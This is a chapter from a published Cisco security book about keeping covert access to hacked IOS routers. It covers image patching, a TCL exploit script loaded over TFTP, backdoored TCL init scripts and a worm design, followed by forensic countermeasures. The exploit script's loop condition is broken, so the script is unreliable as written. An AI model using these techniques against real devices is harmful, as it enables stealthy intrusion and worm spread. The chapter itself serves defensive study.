FURTHER IOS EXPLOITATION AND DEVICE ACCESS PRESERVATION

While we didn't dwell a lot on CatOS exploitation and abuse, IOS is a different matter. Two main questions we had in mind when collecting and producing the data for this chapter were how can an attacker preserve access to a hacked IOS device without leaving any telltale traces in the configuration file, and how can the abused device resources be abused to the full extent? The answer to both questions is this: by producing an IOS backdoor. The most obvious way of producing such a backdoor is patching the IOS binary itself. However, this will not provide a cross-system, cross-platform backdoor. Thus, we have thought of another way a cracker can "leave a little gift" on the "owned" IOS host.

This brought us to the Toolkit Command Language (TCL) support and the presence of a tclsh shell on all recent IOS versions. Such router features can be abused to produce highly functional, truly cross-platform backdoors and hacker tools capable of running from a commandeered box using its resources and nothing else. This provides a striking difference with all the attack utilities previously described in this chapter as well as with the current DDoS-through-Cisco tools outlined in Chapter 11. In fact, it is entirely possible to write a TCL Cisco worm that will spread from host to host by exploiting a common IOS vulnerability and leave some running cracker utility (such as a SPAM relay) on the routers exploited. A known vulnerability isn't even requiredsimple login credentials and SNMP community names guessing may suffice. While we don't want to sound like the prophets of the Internet doom and shout "The end is near!", it is clear that releasing such a worm could have grave consequences and will create an entirely new attack vector for future crackers.

Note 

The remainder of this chapter is clearly not for absolute beginners . To grasp the concepts presented here, the reader must have some knowledge of machine architecture and assembly, as well as TCL.

IOS Binary Patching: Myth and Reality

Attack 

Popularity:

1

Simplicity:

1

Impact:

13

Risk Rating:

5

A rumor about backdoored IOS images is floating around on the Internet. In his multiple DEFCON presentations, FX has mentioned that patching IOS with malicious code is entirely possible. However, we have never encountered anything like a cracker- altered IOS image "in the wild," despite many years of IT security field work experience. Some experts claim that IOS patching by attackers is not very practical and too difficult for an average hacker even to consider. Here we will attempt to dispel some mythology about the possibility of patching the IOS image binary file.

There are obvious legal limitations to this topic, since we are dealing with proprietary closed source software. Everything presented here was accomplished without employing any disassembly. Obviously, we couldn't release any patched IOS images so that they can be abused by malicious hackers worldwide. That said, let's dive in.

Firstly, here's the target of our initial research that was done to write this chapter:

 c2611>show version Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6), RELEASE SOFTWARE (fc3) Copyright (c) 1986-2004 by cisco Systems, Inc. Compiled Wed 11-Feb-04 19:24 by kellythw Image text-base: 0x80008098, data-base: 0x81999EC0 ROM: System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1) c2611 uptime is 19 hours, 27 minutes System returned to ROM by reload at 21:39:08 GMT Wed Aug 17 2005 System restarted at 21:42:20 GMT Thu Aug 18 2005 System image file is "flash:c2600-ik9o3s3-mz.123-6.bin" cisco 2611 (MPC860) processor (revision 0x203) with 61440K/4096K bytes of memory. Processor board ID JAD041806BD (4205937389) M860 processor: part number 0, mask 49 Bridging software. X.25 software, Version 3.0.0. 2 Ethernet/IEEE 802.3 interface(s) 2 Serial network interface(s) 32K bytes of non-volatile configuration memory. 16384K bytes of processor board System flash (Read/Write) 

The selection of this particular IOS version was semi-random, as we wanted a reasonably recent system for an abundant midrange Cisco router model. An easy way to learn more about this system is to boot it in diagnostic mode. To do this, we first need to enable this mode in ROMMON:

 c2611#reload Sent break to terminal <CTRL-A F> rommon 1 > confreg     Configuration Summary <skip> console baud: 9600 boot: image specified by the boot system commands       or default to: cisco2-C2600 do you wish to change the configuration? y/n [n]: y enable "diagnostic mode"? y/n [n]: y <skip> rommon 2 > reset -s 

Now we can glean some rather descriptive data:

 C2600 platform with 65536 Kbytes of main memory program load complete, entry point: 0x80008000, size: 0xf4a2f8 Stack pointer       : 0x04000000 monstack            : 0x8000613C monra               : 0x00000000 edata               : 0x8000C088 magic               : 0xFEEDFACE memsize             : 0x04000000 uncomp_size         : 0x02786DEC comp_size           : 0x00F46259 comp_checksum       : 0xDAA47BE1 uncomp_checksum     : 0x8DA6AB16 Self decompressing the image : ######################################## 

Let's upload the system image onto the testing workstation via the copy command and open it in a hex editor. We will use HT editor, a multiplatform portable viewer of binary files with a built-in editor in binary and hexadecimal, and a disassembler modes processor. You can download HT editor from http://www.hte. sourceforge .net/ . Figure 10-2 shows the IOS image file header as seen in HT editor.

image from book
Figure 10-2: IOS image file header

It is clear that the file has an ELF header. A bit of general theory: ELF is the Executable Linking Format for executable, relocatable, shared object and core dump files. Currently, it is the main format of executable files on UNIX family systems. A binary file looks like a sequence of segments, where each segment can be represented as a byte massive. Linkers and loaders interpret files differently; in this work we are interested in the executable view of the format, which is represented in Table 10-1.

 
image from book
Table 10-1: Structure of an Executable File

ELF header

Program header table

Segment 1

Segment 2

Section header table
(optional)

image from book

Explaining various file formats is not the aim of this chapter, and you can find a lot of detailed information about the internal structure of an ELF file from thousands of pages of online documentation or simply by running the man elf command on your favorite UNIX-like system. The full description of the header fields can be found in the /usr/include/elf.h file in UNIX. Any ELF file has the ELF header positioned in the beginning of the file. This header contains the description of the binary file that defines the order of file interpretation. Table 10-2 presents the ELF header format.

Table 10-2: Types Used in ELF File Headers

Type

Size

Alignment

Comments

Elf32_Addr

4

4

Unsigned program address

Elf32_Half

2

2

Unsigned medium integer

Elf32_Off

4

4

Unsigned file offset

Elf32_SWord

4

4

Signed large integer

Elf32_Word

4

4

Unsigned large integer

unsigned char

1

1

Small integer (char)

ELF header structure for 32-bit processors is summarized in Table 10-3.

Table 10-3: ELF Header Structure for 32-bit Processors

Data Representation

Name

Comments

Self defined

e_ident

Magic number and other info

Elf32_Half

e_type

Object file type

Elf32_Half

e_machine

Architecture

Elf32_Word

e_version

Object file version

Elf32_Addr

e_entry

Entry point virtual address

Elf32_Off

e_phoff

Program header table file offset

Elf32_Off

e_shoff

Section header table file offset

Elf32_Word

e_flags

Processor-specific flags

Elf32_Half

e_ehsize

ELF header size in bytes

Elf32_Half

e_phentsize

Program header table entry size

Elf32_Half

e_phnum

Program header table entry count

Elf32_Half

e_shentsize

Section header string table size

Elf32_Half

e_shnum

Section header table entry count

Elf32_Half

e_shstrndx

Section header string table index

Table 10-4 provides more details about the Magic number and other info (e_ident) header parts .

Table 10-4: ELF e_ident Header Structure

Name

Value

Purpose

EI_MAG0

0(0x7f)

File identification

EI_MAG1

E(0x45)

File identification

EI_MAG2

L(0x4c)

File identification

EI_MAG3

F(0x46)

File identification

EI_CLASS

1(0x01)

File class (1 for 32-bit arch)

EI_DATA

2(0x02)

Data encoding (2 for MSB)

EI_VERSION

1(0x01)

File version (1 for Current)

EI_PAD

Null padding

Start null pad

Let's explain a bit more about these sections and their headers. The table of section headers is their array. The null element of this array is always empty and does not correspond to any of the existing sections. Every section header has a specific format represented in Table 10-5.

Table 10-5: Section Header Format

Data Representation

Name

Comment

Elf32_Word

sh_name

Section name, index

Elf32_Word

sh_type

Section type

Elf32_Word

sh_flags

Section attributes

Elf32_Addr

sh_addr

Virtual section address

Elf32_Off

sh_offset

Offset from the beginning of file

Elf32_Word

sh_size

Section size in bytes

Elf32_Word

sh_link

Next section index

Elf32_Word

sh_info

Additional information about the section

Elf32_Word

sh_addralign

Section alignment

Elf32_Word

sh_entsize

Size of the table entry

Let's elaborate more on the meaning of some of the section header names:

sh_ame Line index in the section that contains the e_hstrndx line table. It points at the start of the line that ends with a null (0x00) symbol and is used as the section name.

  • text This section contains instructions executed by processor.

  • data This section contains initialized program data.

  • init This section contains instructions executed by a processor when the program is launched.

sh_type This is \ the section type; for example, data, symbol table, line table, and so on.

sh_flags Contains auxiliary information that defines the order of interpretation of section content.

sh_addralign Contains the alignment size for the section, usually 0 or 1 (both mean no alignment) or 4.

The ELF loader interprets the file as a multitude of segments, described in the table of program headers. Let's briefly outline the program sections. Their format is presented in Table 10-6.

Table 10-6: Program Sections Format

Data Presentation

Name

Comment

Elf32_Word

p_type

Program section typefor example, 1(PT_LOAD) for loading into memory

Elf32_Off

p_offset

Offset in a file, from which the section starts

Elf32_Addr

p_vaddr

Virtual address, to which the section must be loaded into memory

Elf32_Addr

p_paddr

Physical address, to which the section must be loaded on systems where physical addressing is relevant

Elf32_Word

p_filesz

Section size in a file

Elf32_Word

p_memsz

Section size in memory

Elf32_Word

p_flags

Access type to sections in memory

Elf32_Word

p_align

Values 0 and 1 mean no alignment is required. Otherwise, p_align should be a positive, integral power of 2, and p_vaddr should equal p_offset modulo p_align

Now that you have a general idea about the ELF file structure, let's move forward toward the brief description of patching methods for these binary files. The aim of these methods can be summarized as follows :

  • Inserting additional code into the ELF file

  • Linking this code with the existing one (Figure 10-3)

image from book
Figure 10-3: Bird's-eye view of ELF file patching

When it comes to the insertion, you can learn a lot from the existing ELF viruses. These viruses use the following techniques to inject themselves into a file:

  • Expansion of the last file section and addition of the virus body to its end

  • Compression of a part of the original file and insertion of the virus body into the freed space (overwrite existing unused code)

  • Expansion of a file section and insertion of the virus body into the freed space

  • Downward section shift followed by writing of the virus body into the file beginning

  • Creation of a separate section for the virus body in the file beginning, middle, or end

  • Insertion between the file and header

Here we will zero-in on overwriting an existing unused code method for several reasons. First, when viewing an unpacked IOS image with a hex editor, we have discovered a lot of regular sequences ( mainly text strings) that are either unused or can be effectively compressed. Insertion of this type is difficult to detect. Finally, the insertion algorithm is not sophisticated: a program realization of a simple compressor is much easier than "voodoo magical practices" with segment and header size correction.

ELF viruses use the substitution of the entry point virtual address to the address of the virus body. For our IOS case, this method is inappropriate. However, there are other ways for the virus to enter, such as the control takeover of an arbitrary point of a program. In a nutshell , this algorithm includes the following steps:

  1. Search for the function calls (assembler instructions).

  2. When such instruction is found, replace the called address on the address of the inserted code.

  3. Preserve all dynamic registers, since various functions can use register-based relaying of arguments with conventions we don't know about.

  4. Create your own process.

Return control to the original function, removing the return address from the top of the stack prior to this operation to avoid return address duplication. Let's assume that the malicious code is already inserted and is happily present in the victim image file body. Let's talk about what the inserted code might be. The technique of writing such code is similar to constructing the shellcode, as outlined in Chapter 8. However, a couple of restrictions mentioned in that chapter do not apply to this case. For example, we can completely ignore the presence of null bytes and are relatively unrestricted by the inserted code size. One thing we didn't talk about yet is disassembly and modification of the IOS processes themselves. A few modified bytes in some process, for example an exchange of a conditional transition to an unconditional, can grant the attacker passwordless access to the system or guarantee the absence of his traces in the logswhich is exactly what someone writing a backdoor is looking to achieve.

It is time to return to our IOS binary image. For starters, open the image file in a hex editor and analyze the header. The easiest way to present such analysis is via yet another table, Table 10-7.

Table 10-7: Tested IOS Image File Header

Name

Value

Comment

e_ident

0x7f 0x45 0x4C 0x46 0x01
0x02 0x01 0x00 0x00 0x00
0x00 0x00 0x00 0x00 0x00
0x00

Looks good

e_type

0x0002

Executable

e_machine

0x002b(43)

SPARC v9 64-bit (False!). For PPC32 the correct value 0x14

e_version

0x00000001

Current

e_entry

0x80008000

Good ( verified by ROMMON diagnostic < entry point: 0x80008000>)

e_phoff

0x00000034

Program header to go after the file header

e_shoff

0x00000054

Section header to go after the program header

e_flags

0x00000000

Processor-specific flags

e_ehsize

0x0034

Header size

e_phentsize

0x0020

Program header size

e_phnum

0x0001

Program header count

e_shentsize

0x0028

Section header string table size

e_shnum

0x0005

Section header table entry count

e_shstrndx

0x0000

Section header string table index

Apart from some anomalies (such as the SPARC v9 64-bit variable in the e_machine field) to which we are going to return a bit later, the image appears to be a casual ELF file. From the very beginning, we were intrigued by the "magic value" shown when the router is booted in diagnostic mode. So, what is this 0xFEEDFACE magic value? Let's find it in the file (Figure 10-4).

image from book
Figure 10-4: Magic value in the IOS header

Right after the 0xFEEDFACE magic value, we can see the familiar numbers , such as 0x02786DEC (uncompressed image size), 0x00F46259 (compressed image size), 0xDAA47BE1 (compressed image checksum), 0x8DA6AB16 (uncompressed image checksum), and 0x504B0304 (PKZIP local file header signature, 4 bytes, 0x04034b50 in little endian byte order).

Note 

To learn more about the PKZIP format, download appnote.zip from http://www.pkware.com/downloads/ .

For our purposes, we'll just state that it is evident that we are dealing with a self-extractable archive here. The general structure of the file under evaluation is shown in Figure 10-5.

image from book
Figure 10-5: A structure of the self-extractable IOS image file

Using the document "White Paper: Cisco IOS Reference Guide," available at http://www.cisco.com/en/US/products/sw/iosswrel/ps1828/products_white_paper09186a00801ab747.shtml , we can check the archive type:

c2600-ik9o3s3-mz.123-6.bin

 

Compression Types

z

zip compressed (note lower case)

x

mzip compressed

w

STAC compressed

The 0xFEEDFACE magic value shows the beginning of the archive header. What about the 0xDAA47BE1 and 0x8DA6AB16 checksums? We won't show how the file image was corrected bit-by-bit and the poor router was rebooted dozens of times in ROMMON mode. The end result of these tests is that the compressed image checksum used cannot detect the following "errors":

  • Reordering the bytes in the image file

  • Inserting or deleting zero-value bytes

  • Multiple errors that increase and then decrease the checksum by the same amount

So, how exactly are these checksums calculated? We have swept aside the CRC32 algorithm straightaway due to its relatively large tables. A modification of a well-known Internet Checksum algorithm without folding the 32-bit sum to 16 bits appears to be a good candidate, and so do the nearly historical BSD and SysV checksums, modified for 32 bits. You can read about these algorithms at Wikipedia ( http://www.en.wikipedia.org/wiki/List_of_checksum_algorithms ). Using trial and error, we found that Cisco is using a simple and inefficient algorithm that is similar to the Internet Checksum algorithm. You can see the listing of this algorithm ( sub checksum) in our ciscopac.pl program on the companion web site.

What about the anomalies seen in the ELF header of our IOS imagein particular, the processor type? If an attacker decides to proceed with reverse engineering, before feeding the unpacked image to the all-favorite IDA Pro Advanced Disassembler and employing objdump in the disassembling mode, she will have to change the e_machine field in a hex editor to reflect the correct type of the processor used. In our example, the field will have to be changed from 0x002b (43 in dec) to 0x0014 (20 in dec, PPC32). The IDA Pro Advanced Disassembler is mentioned here since only the Advanced version has the support of the PowerPC processor family, including the MPC860 of our testing Cisco 2600 router. You can check the list of supported processor types at http://www.datarescue.com/idabase/idaproc.htm .

We don't want to describe the disassembling details in this book, not only because we don't really want to share in the destiny of Michael Lynn and see Cisco lawyers in our office, but also because the disassembling techniques are sufficiently described in plenty of online and offline sources we don't want to repeat. At the end of the day, what we deal with is simply a large, unprotected ELF file. All we want to show in this section is that the IOS binary image can be alteredand it isn't rocket science. The appropriate algorithm of the malicious code insertion into the IOS binary seems to be clear and is explained here step-by-step. Again, the methodologies of ELF binaries patching are well-described in various public sources ranging from Phrack to Black Hat and DEFCON presentations. Due to both legal and space/time restrictions, we do not create a fully-blown IOS back-door here. If you want to experiment with ELF patching yourself, we hope that our little ciscopack.pl program, which does correct packing and unpacking of IOS images, is helpful. Here are the action shots:

 arhontus ~/workspace/cisco-utils $ ./ciscopack.pl ./ciscopack.pl, , V 0.1 This program was originally published for the "Hacking Exposed: Cisco Networks" book. Authors: Janis Vizulis, Arhont Ltd. (License GPL-2) Bugs and comments: please send to info[at]arhont[dot]com usage: ./ciscopack.pl  [--unpack=imagename ] Options:   --upack                  Upack cisco IOS <mz> image   --pack                   Pack image   --head                   Head (Self extractor) to pack   --body                   Body (IOS body) to pack   --help                   This message Example : ./ciscopack.pl --unpack c2600-ik9o3s3-mz.123-6.bin ./ciscopack.pl --pack --head c2600-ik9o3s3-mz.123-6.bin.elf --body C2600-IK.BIN arhontus ~/workspace/cisco-utils $ ./ciscopack.pl --unpack c2600-ik9o3s3-mz.123- 6.bin ./ciscopack.pl, , V 0.1 Unpacking image: c2600-ik9o3s3-mz.123-6.bin Wrote 4202 byte to c2600-ik9o3s3-mz.123-6.bin.head Magic id found, reading archive info Uncompressed size:41446892 byte. Compressed size:16015961 byte Compressed checksum: 0xdaa47be1 Uncompressed checksum: 0x8da6ab16 Read and write the archive, buff 1024 byte, Please wait. Wrote Kb15641 to c2600-ik9o3s3-mz.123-6.bin.zip unzip c2600-ik9o3s3-mz.123-6.bin.zip Archive: c2600-ik9o3s3-mz.123-6.bin.zip inflating: C2600-IK.BIN All done! 

One last myth remains to be discussed, which is Cisco IOS runtime patching. This is one widespread myth in the network security community that can't be ignored. Yes, it is true that some IOS memory enumeration show commands are useful, such as show memory , show region , and show chunk . And, of course, undocumented IOS GDB (see Appendix C) includes debug <PID> , examine <PID> , and debug kernel (console only!) commands. But it is too early to celebrate, since the functionality of the IOS debugger is rather limited and to work properly seems to require a remote debugger on a UNIX machine connected via a serial cable. But most annoyingly, running IOS GDB via the casual VTY connection seems to crash the consolejust like this

 c2600#gdb examine 121 

and the console dies. Thus, a remote attacker can't really use the IOS GDB for image runtime patching. The only exemption could be if the cracker takes over a UNIX machine with a console cable plugged into it from a router and "owns" the router itself. How high is the probability of this? Probably less likely than getting killed by a lightning strike.

Of course, if you had a different experience and know how to run the IOS GDB without a console cable and a dead console, you are more than welcome to share it with us at info@arhont.com . At the moment, we are eager to proceed further to describing IOS TCL hacking. So we are not going to dwell on not-so-exciting experiences of using IOS GDB via the GDB remote communication protocol over a console cable. Instead, we'll provide a link to the observations of someone who has had such experiences a long time before ussee http://www.xfocus.net/articles/200307/583.html .

TCLing the Router for Fun and Profit

Attack 

Popularity:

NA

Simplicity:

3

Impact:

15

Risk Rating:

9

You can actually produce a cross-platform Cisco IOS backdoor running on routers and switches, thanks to the TCL support in the IOS. The support of the TCL scripting language has been built into the IOS for a very long time, starting from IOS 11.x. Nevertheless, only recently was it officially recognized and documented, as presented at http://www.cisco.com/univercd/cc/td/doc/product/software/ios123/123newft/123t/123t_2/gt_tcl.htm . As you can see, official TCL support was introduced into IOS 12.3(2)T and integrated into 12.2(25)S. More and more network administrators are starting to use TCL scripting on their routers, which opens a new avenue for hacking attacks. Let's begin its exploration.

What can be done using TCL? Practically anything. While searching the Internet, you'll find thousands of TCL programs, ranging from exploits, IRC servers, and SMTP daemons, to code for performing complex mathematical calculations. However, the world is still far from perfect. Cisco IOS TCL implementations we have encountered in real life do not allow us to read the command line arguments correctly when a file is launched. Our IOS 12.3 has silently ignored the declarations of global variables . Working with strings also has some restrictionsCisco TCL doesn't have procedures like string map , and thus you will have to rewrite some procedures to make the code work. TCL implementations strongly differ between the IOS versions and releases. In some post-12.3(2)T versions, the tclsh is simply absent, in others the TCL support is incomplete, and even the official Cisco TCL sample scripts can't be launched. This has caused us a lot of headaches when doing research for this section. Other differences also exist between Cisco IOS TCL and the standard TCL, some of which you can find at the Cisco web site by following the link supplied earlier in this section. Needless to say, we aren't TCL gu-rus and had to look into this language when working on this particular topic.

So let's rock and roll and write a little hacker "Hello World" for Cisco using the IOS TCL. How about the possibility of one Cisco router attacking its sibling and breaking into it remotely? If this sounds somewhat amusing, let's give it a try. The most wellknown and still relevant exploit to get enable is the good old "Level 16 exec ," or, to be more official, "IOS HTTP authorization vulnerability," labeled as Cisco Bug ID CSCdt93862 in the advisory at http://www.cisco.com/en/US/products/products_security_advisory09186a00800b1393.shtml . Is it possible to implement it in IOS-supported TCL and launch it from one router against another? Here is the answer:

 # hellocisco.tcl written for "Hacking Exposed: Cisco Networks" book # by Arhont Ltd team proc httpopen { host port url} {         set sock [socket $host $port]         puts $sock "GET $url HTTP/1.0"         puts $sock "Host: $host"         puts $sock "User-Agent: Cisco TCL Exploit"         puts $sock "" #       puts stdout "Connecting to $host:$port$url"         flush $sock         set result [gets $sock]         close $sock         return $result } set host "192.168.77.85" set port 80 for {set lev 16 } {$lev > 100} {incr lev} {      set result [httpopen $host $port "/level/$lev/exec/show/config"]      # 200 is OK, other codes indicate a problem      regsub "HTTP/1.. " $result result      if {[string match 2* $result]} {      puts "Vulnerable at level:$lev"      }      } 

What about TCL scripting initialization in IOS? In accordance with Cisco documentation, the following steps are needed:

 c2600>enable      Password:*********      c2600#tclsh      c2600(tcl)# 

From this moment, you are in TCL mode and can run your programs from the router file system, either local or remote, by using the source command:

 c2600(tcl)#source tftp://192.168.77.8/hellocisco.tcl Opening file: tftp://192.168.77.8/hellocisco.tcl, buffer size=65536 

Alternatively, you can simply copy and paste your script into the console. We have found some TCL- related Cisco IOS commands to be rather interesting from the exploitation viewpoint. They allow the attacker to overcome the limitations of the TCL interactive mode on Cisco and might well be present inside a router or IOS switch configuration file. Take note of the following:

  • scripting tcl encdir tftp://192.168.77.8/enctcl/ is an example of a command that specifies the default location for external encoding files. Since TCL works with the Unicode Transformation Format (UTF) encoding string by default, you would need to specify external encoding files if you wish to use, for instance, a Korean charset.

  • scripting tcl init ftp://user:password@192.168.77.8/tcl/ init.tcl is an example of an initialization script to be run when a TCL shell is started.

  • An additional TCL command, specific only to Cisco TCL, is the ios_config " command " " sub-command ", which is used for runtime config modifications.

    Here's an example:

     ios_config "interface Ethernet 0" "description this is a demo" 

How does this reflect on the Cisco security world? If the system administrator uses tclsh and a TCL initialization script, then by addition of our own code to the script we can get a stealthy backdoor that would not be shown in the startup and RAM configuration files. Every time the tclsh is run, our code gets executed.

Not surprisingly, we anticipate the possibility of the inevitable arrival of IOS worms written in TCL. The TCL support in IOS looks like a rather attractive habitat for the scripting viruses and worms, due to the following:

  • TCL would most probably get integrated into all future stable IOS releases.

  • Scripts often contain several hundred lines of code, and it is easy to get lost there and overlook the virus or worm body.

  • Such a virus or worm can be truly cross-platform, and its execution would not depend on the router or switch processor type and the version of IOS used by the device.

  • The functionality of the scripting languages is comparable to one of the higher level languages.

System administrators and other IT professionals often consider the scripting viruses and worms to be rather primitive and "not the real thing." However, from a viewpoint of the attacked host, it does not really matter whether the virus it got infected with was primitive or not. What counts here is effectiveness and the end result of the attack.

How would this kind of a worm function? For example, let's take a very simple worm algorithm that uses SNMP as a transportation medium, since Cisco devices possess great SNMP support. The worm starts, scans the network for a known vulnerability or a configuration mistake (for example, a default SNMP community nameprivate, secret, ciscoworks2000, tivoli) with RW permissions. Bear in mind that it would be possible to grab an excessive amount of information about the target host straightaway. After the RW community string is known and confirmed, the worm will obtain the target configuration file and check for the scripting tcl init ftp://user:password@192.168.1.1/ tcl/init.tcl string. If such an entry exists, the worm will download the specified file and check it for the presence of the worm body to determine whether the file has already been infected. If it assumes that this target is already infected, the worm will continue searching for the next, more appropriate victim. If there are no such malware traces, the worm will add the record containing a link to its body to the tcl init script, uploading the body to the router beforehand ( scripting tcl initslot0:init.tcl ). Then the worm will run itself on the penetrated router using the tclsh command.

This is as simple as it gets. While to an outsider it might be considered a rather complex process, in reality it can be performed in a few lines of TCL code. Keep in mind that using guessable community names or Telnet passwords is just an example. A worm can also use undocumented SNMP communities, other SNMP security faults on Cisco devices (see Chapter 7), the "Level 16 exec" vulnerability from the preceding example, and more. In fact, it can scan for and use multiple vulnerabilities in concert to make things worse .

The only factor currently preventing a rapid spread of worms of a similar nature is the beta support of the TCL in many IOS versions and a rather limited number of IOS versions fully supporting this scripting language. A lack of documentation on the topic doesn't help, either. However, we foresee that the situation is likely to change soon.

Countermeasures Against an Attacker Who Has Already Broken In

Countermeasure 

The whole name of this section sounds plain silly, since the incident shouldn't happen in the first place and the rest of the book is actually devoted to preventing it. It might have been more correct to name this section "Cisco Forensics." However, when security experts talk about forensics, they usually imply a reactive action. Nevertheless, you can take some proactive measures to detect possible attacker modification of Cisco device configuration files and operating systems. Even if you are confident in your network security and have put in place all the countermeasures described in this book and elsewhere, you should still implement these measures in practice. There is always a possibility of a surfacing 0-day exploit, and no one is ensured against it.

Here is what can be done:

  • When a configuration file is finalized, immediately back it up to a secure location. It is a good practice to store these backups encrypted, for example, with PGP (Pretty Good Privacy). You can also produce message digests of the configuration files and store them in a different secure location. Using message digests diffing is a quick and dirty way to detect whether the configuration file has been modified without employing thorough file content diffing . Update the backups when the configuration changes are implemented.

  • Regularly collect the configuration files from your Cisco devices and diff them with the backups, both file content and message digest hashes.

  • If you truly care about security, the same can be done with the OS binaries, at least for the critical devices likely to be exposed to attacks. Of course, no one is saying that this must be done on a daily basis for hundreds of routers and switches. But once a month for critical systems would be a reasonable policy. Do all the configuration files and OS image pulls over a secure mediumfor example, out-of- band connections (ISDN, POTS) or through IPSec tunnels.

  • Always use centralized logging (variations of the logging host theme) to a dedicated secure syslog server. Follow the standard procedures for log monitoring, preservation, and backup described in general network security literature sources.

  • Install a decent distributed IDS to monitor the traffic going between your Cisco devices and detect attack signatures and traffic anomalies, even if the devices themselves appear to be all right.

Various public domain scripts automate Cisco configuration file or OS binary pulling from the device, and they use mainly SNMP and TFTP to perform these tasks . Some of these scripts were mentioned in the "Cisco SNMP: Useful Commands and Scripts" section of Chapter 6. However, on IOS versions since 12.3(1), a somewhat more elegant solution to regular file uploads and downloads is available in the form of the IOS kron .

The problem with IOS kron is that it can only run non-interactive EXEC mode commands. It can be successfully bypassed using the IOS TCL capabilities and writing a non-interactive TCL script for file uploading that can be launched by kron . However, this approach has one fundamental flaw, namely that you actually trust the device you are protecting. On the other hand, using TFTP together with SNMP or Telnet to transfer Cisco configuration or OS files isn't very secure either. In our modest opinion, the safest way to pull files from Cisco devices for regular diffing is via SSH, which is supported by all latest IOS and CatOS versions. We haven't seen a public domain script with such functionality yet; however, writing it in Perl using the good old Net-SSH module shouldn't be that difficult. Such a module can be downloaded from http://www.search.cpan.org/~ivan/Net-SSH-0.08/ .

As to the configuration and OS image binary hashing, any hashing tool would do, and plenty of them are available at no charge. We tend to use OpenSSL since it is already installed on our machines and provides a great choice of options and ciphers:

 arhontus / # openssl list-message-digest-commands md2 md4 md5 mdc2 rmd160 sha sha1 

SHA1 is preferred, but using MD5 or RIPEMD160 can also be considered. Generating hashes with OpenSSL is easy:

 arhontus / # openssl dgst -sha1 c2600-io3s56i-mz_121-2.bin SHA1(c2600-io3s56i-mz_121-2.bin)= 53b20754ed1783280188211960fec650309864f4 arhontus# openssl dgst -sha1 router-config SHA1(router-config)= 85b9fbe8d5de0704ad034cfaa25181b7a2974543 

The generated hashes can be redirected to a file, which is then encrypted until diffing against the hashes produced from pulled files takes place. It is also possible to sign the hashes with your private key to verify their integrity later. See the OpenSSL site at http://www.madboa.com/geek/openssl/#digest-file for more details.

Talking about the reactive Cisco forensics, the situation is quite different from Windows or UNIX worlds . Unlike the traditional forensics, live data is the most valuable asset. This approach can be summarized as "change nothing, observe and record everything." Pulling out the cable or rebooting the box can destroy it all. To our knowledge, no commercial software or software+hardware Cisco forensics toolkits are availableeverything depends on the investigator's skills. The investigator will have to

  • Analyze logs on the centralized syslog server.

  • If the message digest hashing that we have suggested was implemented, verify whether the checksums of the configuration files and system images in the last pull correspond to the checksums of the original backup files.

  • Access the router via the console, not via the network.

  • Record the console session.

  • Perform real-time device forensics.

By real-time device forensics , we mean doing exactly what the attacker would do after logging in (spare for wiping the logs!) and what was described in the "Is Anyone Here?" and "Looking Around" sections of this chapter. As an investigator, you would run through the lists of the commands described in these sections and try to spot anything that looks suspicious.

Of course, you would also perform a detailed examination of both running-config and startup-config , upload them onto a remote host, and do the diffing between both, as well as diffing against the secure backup configuration files. Some experts recommend that you Nmap and SNMPwalk the examined device from the outside as well. From our viewpoint, such practice is not of great value, but if you are going to Nmap the box, do it with the -p0-65535 flag for both TCP and UDP as well as run the -sO protocol scan.

Do not forget to examine the device flash: and nvram: for the presence of strange files. On an IOS router, first execute show file systems to see which file systems are used. Then use the dir command to list the contents of the file systems available and the IOS UNIX-like more command to open these files if allowed by their permissions. This may yield some interesting results:

 c2600#sh file systems File Systems:      Size(b)      Free(b)       Type  Flags  Prefixes            -            -     opaque     rw   system:        29688         9954      nvram     rw   nvram:            -            -     opaque     rw   null:            -            -     opaque     ro   xmodem:            -            -     opaque     ro   ymodem:            -            -    network     rw   tftp:   * 16252924      7555196      flash     rw   flash:            -            -    network     rw   rcp:            -            -    network     rw   pram:            -            -    network     rw   ftp:            -            -     opaque     ro   cns: 

Let's dig further:

 c2600#dir flash: Directory of flash:/     1  -rw-      8697664           <no date>  c2600-ix-mz.123-10.bin c2600#dir system: Directory of system:/     2  dr-x            0           <no date>  memory     1  -rw-         1245           <no date>  running-config     9  dr-x            0           <no date>  vfiles c2600#dir system:/vfiles Directory of system:/vfiles/    12  -r--            0           <no date>  tmasinfo    10  -r--            0           <no date>  tmstats_ascii    11  -r--            0           <no date>  tmstats_binary 

Everything looks fine here, even though running more against the text files is still recommended. Now only the nvram: remains.

 c2600#dir nvram: Directory of nvram:/    26  -rw-        1245           <no date>   startup-config    27  ----           5           <no date>   private-config     1  -rw-           0           <no date>   ifIndex-table     2  ----          13           <no date>   persistent-data     3  -rw-       14784           <no date>   ircd    18  -rw-         974           <no date>   httpproxy 

Oops! What are ircd and httpproxy and what are they doing here?

 c2600#more nvram:/ircd # Minimal IRCd server in Tcl # Copyright (C) 2004 Salvatore Sanfilippo <antirez@invece.org> <skip> c2600#more nvram:/httpproxy #!tcl # Simple HTTP Proxy # <skip> 

What is going on here? Truth is, this is our testing router and you have probably read the previous section about some TCL tricks. Nevertheless, you should always expect the unexpected.



Hacking Exposed Cisco Networks
Hacking Exposed Cisco Networks: Cisco Security Secrets & Solutions
ISBN: 0072259175
EAN: 2147483647
Year: 2005
Pages: 117

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net